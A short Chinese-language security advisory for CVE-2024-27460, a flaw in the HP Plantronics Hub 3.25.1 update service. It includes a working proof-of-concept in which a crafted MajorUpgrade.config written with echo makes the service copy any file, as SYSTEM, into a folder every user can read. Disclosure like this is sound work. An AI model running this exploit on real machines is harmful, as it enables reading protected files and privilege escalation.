CVE-2024-27460
HP Plantronics Hub 3.25.1 更新程序权限提升/任意文件读取
描述：
HP Plantronics Hub 3.25.1 存在一个漏洞，允许低权限用户在安装该应用程序的机器上以 SYSTEM 身份执行任意文件读取。此外，还可以滥用此漏洞将权限提升至 SYSTEM 用户。
受影响版本
HP Plantronics Hub 3.25.1
受影响的服务
不安全的路径：
"C:\ProgramData\Plantronics\Spokes3G"
服务：
PlantronicsUpdateService
复现步骤（POC）：
- 打开 cmd.exe
- 使用 cd C:\ProgramData\Plantronics\Spokes3G 导航
- echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
- 目标文件将被复制到 "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp"，任何已认证用户均可访问该目录。
发现者：
- Deloitte Belgium 的 Farid Zerrouk
- Mastercard Europe 的 Alaa Kachouh。
